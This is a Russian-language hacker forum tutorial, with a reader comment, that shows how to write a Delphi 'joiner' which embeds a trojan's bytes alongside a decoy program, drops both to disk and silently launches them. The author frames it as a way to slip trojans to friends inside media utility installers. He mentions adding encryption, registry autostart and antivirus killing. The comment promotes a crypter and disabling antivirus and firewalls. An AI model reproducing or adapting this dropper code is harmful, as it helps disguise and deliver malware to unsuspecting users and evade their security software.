В принципе, причиной написания статьи стало появление php joiner-а на hunger.ru (РЕКЛАМА nerezus, BUG(O)R – с вас причитается))) ). Но проблема в том, что ПОКА он джойнит только 0.5 Мб. Маловато, особенно когда хочешь друзьям подсунуть install какой-нить аудио-видио утилиты =) Поэтому я решил сам придумать способ сджойнить два exe файла. И, о боги! Получилось =) Итак, статья о том, как «склеить» два исполняемых (да и не только) файла в один без использования joiner-ов. Для этого нам понадобятся: - Borland Delphi (или другая среда/компилятор для Object Pascal) – 1 шт.; - HEX-редактор (в моем случае – WinHEX 11.*) – 1 шт.; - Руки (желательно прямые) – 2 шт.; Шаг1. Получаем HEX exe-файлов. Открываем WinHex-ом приготовленные для склейки exe-файлы. А теперь копируем HEX-код в формате для Pascal (массив байтов). В WinHex-е есть такая функция: Edit -> Copy All -> Pascal Source. Получаем нечто подобное: Код 1.1 Code: data: array [0..”кол-во байтов в файле - 1“] of byte = ( $4D, $5A, $50, $00 … … ); Давайте, для «файла-троя» (а зачем еще джойнить?! =) ) мы будем использовать data, а для программы-прикрытия data2. ОК? =) Тогда у нас будет два массива data и data2, приблизительный вид которых представлен в Коде 1.1. Такой способ позволяет нам сразу получить массив с байтами файла. Конечно, можно, при отсутствии редактора, создать прикладную программу для того, чтобы автоматически получать HEX в формат pascal. Но, если захотите, этого я коснусь в продолжении к статье… (короче, узнаю – напишу ) Шаг2. Создание «joining» процесса. Итак, первое, что нам понадобится - это процесс, который будет включать в себя склеенные файлы, а при запуске создавать отдельные файлы и запускать их. Открываем Delphi. Нам, как всегда, предлагают «готовую» форму. Зачем она нам? Удаляем из проекта Unit1.pas. Теперь смотрим, что осталось: Project -> View Source. Появляются сырцы project1.dpr: Код 2.1 Code: program Project1; uses Forms; // Не уверен, но тут может остаться Unit1 in 'Unit1.pas' {Form1} {$R *.res} begin Application.Initialize; Application.CreateForm(TForm1, Form1); Application.Run; end. Даже удалив Unit1.pas, мы не избавились от всех гадостей, которые предлагает дядя Борланд и К: многовесящий, и в нашем случае бесполезный модуль Forms, содержащий в себе ту самую Application. Все сносим! Должно остаться Код 2.2 Code: program Project1; uses {$R *.res} begin end. А вот теперь подключаем требуемые модули… Здесь вы можете проявить самостоятельность и воплотить все свои тайные желания Но я лично пока ограничусь тремя обязательными в нашем случае библиотеками… Это windows, classes и shellapi. Из первой мы получим Handle (hwnd) нашего процесса, вторая нам потребуется для создания файлов из файлового потока TFileStream а третья – для запуска этих файлов функцией ShellExecute. Код 2.3 Code: program Project1; uses windows, classes, shellapi; {$R *.res} begin end. Шаг 3. Объединение. У нас есть: 1. Массивы с байтами двух exe-файлов 2. Невидимый процесс (он, конечно, видимый в ctrl+alt+del, но т.к. после запуска он и 1 секунды не живет, то бояться нечего =)) 3. Прямые руки (Что? Нет? Блин…) Отсюда вывод – объединим и будет счастье! Для этого прямыми руками (если нет своих, просим друзей) добавляем в Код 2.3 объявление двух переменных и двух констант. Получаем: Код 3.1 Code: program Project1; uses windows, classes, shellapi {$R *.res} var //тут описание переменных Handle: hwnd; //Переменная для хранения handle нашего процесса Exe: TFileStream; //Файловый поток const data: array [0..”кол-во байтов в файле - 1“] of byte = ( $4D, $5A, $50, $00 … … //Тут куча строк (зависит от файлв) ); //Массив байтов нашего троя data2: array [0..”кол-во байтов в файле - 1“] of byte = ( $4D, $5A, $50, $00 … … //Тут куча строк (зависит от файлв) ); //Массив байтов программы-подставы begin end. А между begin и end делаем следующее: 1.Получаем Handle своего процесса: Handle:=GetModuleHandle(nil); Он нам понадобится для вызова ShellExecute. 2. Создаем Файловый поток Exe:=TFileStream.create('Путь/filename.exe',fmcreate); Где заменяете Путь/filename на свой путь и имя файла – это файл, который будет работать как программа-. Опять же тут возможны вариации. Лично для своих целей я написал функцию поиска каталога %windir%/system32 =) 3. Заполняем Файловый поток байтами программы-прикрытия с нашего первого массива exe.Write(data2,кол-во байтов в файле); Кол-во байтов можно узнать из свойств exe-файла. 4. exe.Free; //no comments =) 5. А теперь запускаем созданный файл: ShellExecute(Handle,'open','имя файла',nil,’путь_к_файлу’,0); Понятно, что путь и имя файла должны совпадать с заданными в пункте 2. А теперь то же самое проделываем с массивом байтов нашего троя. Вот конечный код программы: Код 3.2 Code: program Project1; uses windows, classes, shellapi {$R *.res} var //тут описание переменных Handle: hwnd; //Переменная для хранения handle нашего процесса Exe: TFileStream; //Файловый поток const data: array [0..”кол-во байтов в файле - 1“] of byte = ( $4D, $5A, $50, $00 … … //Тут куча строк (зависит от файлв) ); //Массив байтов нашего троя data2: array [0..”кол-во байтов в файле - 1“] of byte = ( $4D, $5A, $50, $00 … … //Тут куча строк (зависит от файлв) ); //Массив байтов программы-подставы begin //поехали… Handle:=GetModuleHandle(nil); //Получаем Handle Exe:=TFileStream.create('Путь/filename.exe',fmcreate); //Инициализация Файлового потока для программы-подставы exe.Write(data2,1968634);//Запись в поток массива байтов программы-подставы exe.Free; //освобождаем поток ShellExecute(Handle,'open','имя файла',nil,’путь_к_файлу’,0); //Запускаем программу-подставу Exe:=TFileStream.create('Путь2/filename2.exe',fmcreate); //Инициализация Файлового потока для Трояна exe.Write(data,1968634);//Запись в поток массива байтов трояна exe.Free; //освобождаем поток ShellExecute(Handle,'open','имя файла2',nil,’путь_к_файлу2’,0); //Запускаем Трояна. end. --------------------------------------------------- Замечание. Это примитивный код, который в принципе не даст вам многого. Но лично я в своем варианте добавил кодировку байтов Трояна, запись его в автозагрузку через реестр и сейчас пытаюсь незаметно убить к@$пер$кого. Так что если тема вам интересна, попытаюсь развить =) З.Ы. Ругаться - ICQ 28555888 P.P.S Афтар – я, xShreKx Соблюдайте
Читайте про мою программу http://forum.antichat.ru/showthread.php?t=17954 Криптовать можно так, что мама родная не узнаэт. Но перед тем как раскриптовывать нужно рубануть все антивири, фаерволы и т.п. "гадость". Читайте кому надо ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓